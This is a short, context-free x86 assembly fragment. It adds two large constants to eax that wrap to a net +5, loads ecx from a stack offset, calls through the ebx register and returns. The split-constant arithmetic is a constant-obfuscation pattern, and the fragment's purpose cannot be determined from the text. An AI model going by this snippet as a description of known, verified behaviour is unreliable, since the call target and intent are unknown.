add eax, 0xd32c148e
add eax, 0x2cd3eb77
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret